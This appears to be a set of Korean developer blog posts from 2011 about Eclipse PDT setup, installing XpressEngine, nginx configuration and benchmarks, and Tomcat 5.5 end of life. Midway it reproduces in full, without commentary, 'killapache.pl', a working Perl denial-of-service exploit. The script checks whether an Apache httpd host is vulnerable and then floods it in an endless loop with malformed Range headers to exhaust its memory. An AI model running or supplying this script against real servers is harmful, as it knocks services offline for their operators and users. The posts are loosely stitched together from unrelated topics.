php와 동시에 java를 하나로 묶는 소스에서 개발하는 이클립스 환경 셋팅이다.

1. php eclipse 설치

phpeclipse(http://www.phpeclipse.com) 는 죽어가고 있는 듯 제외하고, 이클립스 공식 싸이트를 이용
http://www.eclipse.org/projects/project.php?id=tools.pdt

버전은 2011년 6월에 나온 PDT 3.0을 이용하기로 결정했다.
15 Jun 11 PHP Development Tools 3.0 Release Review 
http://www.eclipse.org/pdt/downloads/

php와 eclipse가 동시에 내장되어 있는 방식을 이용하기로 했다.
"These downloads include Eclipse 3.7.1 and PDT 3.0.2" 선택

http://code.google.com/p/zend-sdk/downloads/list 여기주소로 들어가서
eclipse-php-3.0.2.v2011102768-Win32.zip를 다운로드 했다.

\php-development 디렉토리에 extract 하고, eclipse-php\eclipse-php.exe 파일을 실행하여 eclipse를 실행

workspace는 아래와 같이 지정.
\php-development\eclipse-php\workspace

자바 빌더 자체가 없어서 java  소스에 대해서 에러가 발생한다.

2. Subversion client 설치  

이클립스 subversion client 인 subversive plugin을 설치한다.
eclipse3.7은 helios 이니, Install ->
    http://download.eclipse.org/releases/helios 등록 -> Collaboration  -> subversive로 시작되는 것 모두
설치

3. java 빌드

이클립스 자동 자바 컴파일을 위해서 http://download.eclipse.org/releases/helios 위치에서 java ee developer tools 플러그인을 설치한다.

현재는 베타버전이라 약간 이슈가 있는 버전이지만, 1.5.0 정식 릴리즈가 되면 쓸만해질 것 같다.
생전 처음 XE를 설치해봤다.

apmsetup을 사용하면 된다고 하는데.. 서버가 문제가 있다.. 흘 ㅡ.ㅡㅔ;

알아서, apache/php 설치를 해야겠다.

설치를 확인한다.

xe core를 다운받기
http://www.xpressengine.com/index.php?mid=download&category_srl=18322907&package_srl=18325662
에서 download 해서 zip 파일 다운 받기

그리고, /var/www/ 밑에 extract하면, /var/www/xe 디렉토리가 생긴다. (beta버전에서는 하나의 파일때문에 extract하면서 문제가 생긴다.. 리눅스 사용자들은 알아서 잘 설치하게 한다.)

웹  브라우져에서 http://locahost/xe 로 테스트해 본다.

첫번째 라이선스 동의에서 승인하고 나면, 설치 조건 확인에서 퍼미션 문제가 나는 것을 발견할 수 있다.

내 계정에 맞게 권한을 넣어준다. 

이번에는 GD 라이브러리에서 "불가능"이라는 것이 되어 있다.

gd 라이브리를 설치하고 아파치 서버를 재시작한다.

설치 웹 화면을 refresh하면 다음과 같이 더 이상의 "불가능"은 없고, 계속 설치를 진행하면 된다.

다음 화면은 "DB 정보 입력"이다.
mysql로 선택해도 진행해도 DB가 설치되지 않아서 더이상 진행되지 않는다.

php와 mysql 연동하는 library가 없었던 것임. (apache의 debug 로그 레벨을 내려도 안보였음. ㅡ.ㅡ;;;)

해당 라이브러를 설치하고, 아파치를 재시작한다.

웹 설치화면에서 "다음"을 선택하면 상세 정보를 넣을 수 있다.

이젠 mysql을 설치한다.

   여기서 root 패스워드를 잘 입력한다.

 ps -ef | grep mysql 로 확인가능..


DB에 접속해서  test 라는 database를 선택해서 xe가 사용할 테이블을 저장하게 한다.

화면에서 "다음"을 선택하면 다음 화면으로 진행된다.

관리자 로그인 정보 잘 넣고 설치를 완료한다. (이메일, 패스워드)

그리고, 나면, 로그인을 해본다.

잘 된다... 아직 beta라 그런지. 로그인했는지. 좌측 로그인 UI에서는 로그인을 인식못하긴 한다..
정식버전이 나오면 고쳐질 것이라 생각된다.

 

xe는 apache rewrite를 써야 그나마 쓸만해 진다. 설치디렉토리/.htaccess에 관련 정보들이 들어가 있다.

끝.

(제가 조사한 내용이 틀릴 수 있으니. 틀린 부분은 수정 부탁드리겠습니다.)

회사에서는 Nginx를 표준 웹 서버로 지정하고 있으며 사용할 수 있도록 장려하고 있습니다.

관련해서 어떤 솔루션이 있는지, 간단하게 언급하고 넘어가려고 합니다.

netcraft는 전 세계의 웹 서버를 대상으로 사용 소프트웨어 정보를 취합해서 정보를 보여주고 있습니다.

2011년 9월 현재 그래프를 보여주고 있습니다.

Apache >> MS  > Nginx > Google(구글은 오픈하지 않은 자체 웹서버가 있습니다.)  의 상태를 볼 수 있습니다.

재미있는 것은 한 때  lighthttpd 라는 녀석은 이번에 목록에 빠졌다는 것입니다.. Other안으로 들어가버렸습니다.

W3Tech.com에 따르면, nginx 는 6.9%의 점유율을 가진다고 합니다.

nginx(www.nginx.net)의 증가세는 유일할 정도로 눈에 튑니다.

nginx가 도대체 무엇이길래 사내에서 표준으로 결정되고 여러 부서에서도 쓰고 있을까? 하는 생각을 하실텐데요.

무시 못할 정도로 상승세가 일어나고 있다는 사실은 주목할 이유가 있습니다. 

nginx 에 대해서 간단히 설명드리겠습니다.  현재는 1.1.4(2011.9.27일 기준)까지 release 되었으며, 빠르게 relase 가 되고 있습니다.

nginx는 Apache 재단에서 밀고 있는 반면, nginx는 러시아 개발자(Igor Sysoev)가 혼자서 만들 프로젝트이지만,  메모리와 성능이 좋아 입소문으로 많이 사람들이 알게 되었습니다. 2002년부터 시작되어 지금은 9년이 되어갑니다.

특히 nginx는 wordpress.com 에 적용되면서 많이 유명해졌습니다.  지금은 대륙의 인기 싸이트인 qq.com, taobao.com과 트윗터의 3rd party 업체인 twitpic.com과 sourceforge.net,  hulu.com이 nginx를 사용하고 있습니다.

설정을 간단히 보겠습니다. Apache Http 서버의 설정과 비슷합니다.

user www;
worker_processes  2;
error_log  /home/www/log/nginx/error.log;
pid        /home/www/log/nginx.pid;
events {
    worker_connections  1024;
    # multi_accept on;
}
http {
    include       /home/www/nginx/mime.types;
    access_log	off;
    open_file_cache max=1000 inactive=20s;
    open_file_cache_valid 30s;
    open_file_cache_min_uses 2;
    sendfile        off;
    #tcp_nopush     on;
    #keepalive_timeout  0;
    keepalive_timeout  65;
    tcp_nodelay        on;
    gzip  off;
    gzip_disable "MSIE [1-6]\.(?!.*SV1)";
    include /home/www/nginx/conf.d/*.conf;
    include /home/www/sites-enabled/*;
}

server {
        listen   80; 
        server_name  ngix.google.com; // 그냥 제가 대충 만든 싸이
         access_log  off;
        location / {
                root   /home/www/html;
                index  index.html;
        }
}

nginx 는 비동기(async) 이벤트 기반(ioctl, send, recv, epoll)으로 만들어졌고, Apache Http 서버는 프로세스 또는 쓰레드를 태생으로 만들어졌습니다. 

Apache Http 서버는 요청 하나당 프로세스(뜨는 쓰레드)가 처리하는 구조이다 보니, 만약 Apache Http 서버의 프로세스가 blocking(DB나 파일)이 되면 요청을 계속 처리하지 못하고 처리 완료때까지 대기하는 일이 생깁니다. 그래서 Timeout이나 Keep Alive 체크를 정말 잘써야 하는 이슈가 생기게 되었습니다.

또한 MaxClient의 수치를 높여 dos 공격에 대해서 조금이라도 막을 수 있는 형태를 취하게 됩니다. 따라서 프로세스(또는 쓰레드) 메모리를 많이 할당/해제하는 상황이 생길 수 있습니다.

반면, nginx는 쓰레드를 적게 사용하는 구조입니다. 또한 쓰레드를 적게 쓰다보니 쓰레드당 할당되는 메모리도 적게 되면서 메모리도 적게 사용되는 구조가 됩니다.  하나의 쓰레드에서 이벤트를 처리하다 보니 blocking이 되는 일이 없는 셈이 됩니다. 또한 쓰레드를 적게 쓴 다는 것은 context swithing 비용도 적게 되기 때문에 cpu의 소모도 상대적으로 작게 됩니다.  하나의 프로세서는 하나의 쓰레드처럼 사용하여 적은 worker에서 동작이 됩니다. 다만 많은 요청을 처리하기 위해서 client  개수는 늘릴 필요는 있습니다.

그러나 요청에 대한 상태(socket status)를 잘 가지고 있어야 하는등.. 비동기 서버 구현 자체가 다양한 팩터로 인해서 코드에 대한 복잡성이 높습니다.

최대한 system call을 적게 하고 비동기 이벤트 처리를 통해서 높은 성능이 있다는 큰 장점과 함께 백엔드와 ajp 통신이 어렵고, 모듈 개발이 어려우며, Apache Http 서버처럼 다양한 모듈이 없다는 단점이 있습니다.

그러나 공식적이지 않지만, ajp 통신 모듈이 오픈 소스로 이미 나온 것이 있으니 연동이 가능합니다.

https://github.com/yaoweibin/nginx_ajp_module

그리고 3rd party nginx module을 공개하며 다양하게 지원하고 있습니다.

http://wiki.nginx.org/3rdPartyModules

최근에는 0.8.11부터는 리눅스 AIO(Asynchronous Input-Output) 기능을 적용하여 최적화를 통해서 속도향상을 꾀했습니다. 또한, tomcat 과 같은 backend 통신시 keep alive 기능이 없어서 문제가 있었는데, 1.1.4부터는 모듈이 추가 개발되어 keep alive 기능을 사용할 수 있게 되었습니다. 이를 통해서 nginx-tomcat의 조합이 가능할 수 있게 될 것으로 생각됩니다.

http://www.nginx.org/en/CHANGES

nginx는  name, ip virual host나 기본적인 기능외에. 다음 기능이 있습니다.

- SSL

- load balancing

- gzip

- url rewriting

- webdav

- access authentication

- smtp, pop3, imap

- flv/mp4 streaming

- speed limitation

성능 외에 제가 관심을 가지고 있는 것 중 두개의 부분이 유독 눈에 띄었습니다.

바로 flv와 mp4 스트리밍이 된다는 것과 를 속도를 제한할 수 있다는 것입니다. 

속도 제한하는 예를 보겠습니다. 

limit_req_zone  $binary_remote_addr  zone=one:10m   rate=1r/s;
 
    server {
        location /search/ {
            limit_req   zone=one  burst=5;
        }

mp4 에 대한 스트리밍 예제입니다.

location /video/ {
    mp4;
    mp4_buffer_size     1m;
    mp4_max_buffer_size 5m;
}

http://nginx.org/en/docs/http/ngx_http_mp4_module.html

특정 위치부터 시작하라고 하려면,  http://example.com/elephants_dream.mp4?start=238.88 이렇게 호출하면 됩니다.

부족한 부분들은 점차 활성화되면서 refernece들에 대한 자료는 꾸준히 나오리라 생각됩니다.

이번에는 성능과 관련된 내용을 보도록 하겠습니다.

내부 테스트시 nginx 단독으로 쓰였을 때는 성능이 좋을 뿐 더러 cpu와 memory 가 apache http 서버보다 엄청 나게 적게 나오지만,   그러나 tomcat 을 붙인 경우는 apache http 서버와 nginx간의 성능은 크게 바뀌지 않습니다. 역시 바틀렉이 있을 때는 성능은 바틀렉이 있는 것으로 떨어지게 마련입니다.

 




이번에는 Nginx 관련한 성능 테스트한 자료가 있어서 소개합니다.

http://nbonvin.wordpress.com/2011/03/24/serving-small-static-files-which-server-to-use/

이 문서는 nginx뿐 아니라, 웹 서버로 유명한 제품군들에 대해서 varnish, G-wan, Lighthttpd, apache traffic server에 대한 비교 성능 테스트 자료입니다.  결과는 다양한 의견들을 부를 수 있겠지만, 간단히 설명하도록 하겠습니다.

다음의 서버 셋팅으로 테스트하였습니다.

http keep alive를 on

tcp ip 셋팅은 OS 디폴트

서버 셋팅은 디폴트 (필요한 것만 수정)

concurrenty는 0부터 1000까지 10씩 증가

요청은 백만 (1,000,000)

TIME_WAIT 때문에 /etc/sysctl.conf를 다음과 같이 수정. net.ipv4.ip_local_port_range = 1024 65535

그리고, client는 apache bench를 이용했습니다.

테스트를 보면, G-wan 이 가장 높은 성능을 가지고 있으며, lighthttpd나 nginx는 비슷하게 나옵니다.

cpu 정보를 보겠습니다. G-wan이 가장 완승이고, nginx도 상당히 좋은 결과를 보입니다.

G-Wan이 생각보다 cpu 소진율에 비해서 많이 먹는 편이고, nginx 는 메모리를 가장 적게 사용하고 있습니다.

Apache Traffic server와 Varnish는 너무 메모리를 많이 먹거나 cpu 소진율이 높게 나와서 쓰기에는 어중간하긴 합니다만.

G-wan의 경우는 성능이 아주 잘나오는 데 반해, 시간을 흐를수록 메모리를 많이 먹는 현상이 있습니다.

반면, nginx는 성능이 lighthttpd와 비슷하게 나오지만, g-wan의 반정도밖에 나오지 않지만,  cpu나 메모리는 훨씬 적게 사용한다는 장점이 있습니다. jvm과 같은 머신으로 사용하기에는 굉장히 적절해 보입니다.

G-wan(http://www.gwan.ch/)은 최근에 나온 free 웹 서버이며 오픈소스는 아니며, 사용층이 적은 편이지만, 계속 주목할만한 솔루션이다.

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
	print "Apache Remote Denial of Service (memory exhaustion)\n";
	print "by Kingcope\n";
	print "usage: perl killapache.pl <host> [numforks]\n";
	print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
	
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
	$p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next; 	
	
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
	print "host seems vuln\n";
	return 1;	
} else {
	return 0;	
}
}

if ($#ARGV < 0) {
	usage;
	exit;	
}

if ($#ARGV > 1) {
	$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
	print "Host does not seem vulnerable\n";
	exit;	
}
while(1) {
killapache();
}

On Wednesday morning, Apache developers said they expect to release a patch in the next 96 hours

http://www.tomcatexpert.com/blog/2011/08/10/end-life-announced-apache-tomcat-55

Tomcat 에서 5.5.x 버젼을 2012년 9월 30일 부터는 지원하지 않는다고 발표. 즉, 201년 9월 30일전까지는 패치가 이루어진다.

따라서,  2012년 9월 30일부터 더이상 버그 패치는 이루어지지 않는다.

2012년 12월 31일부터는 tomcat 5.5와 관련된 다운로드 페이지(미러링 포함)와 다큐먼트는 사라지며, tomcat 소스 branch에서 관련 태그는 모두 사라진다. tomcat 5.5 관련 버그질라는 read-only만 된다.

 그 이후로는 archive(zip)상태로만 다운만 받을 수 있다.

 http://blog.hgomez.net/2011/07/15/servlet-containers-startup-time/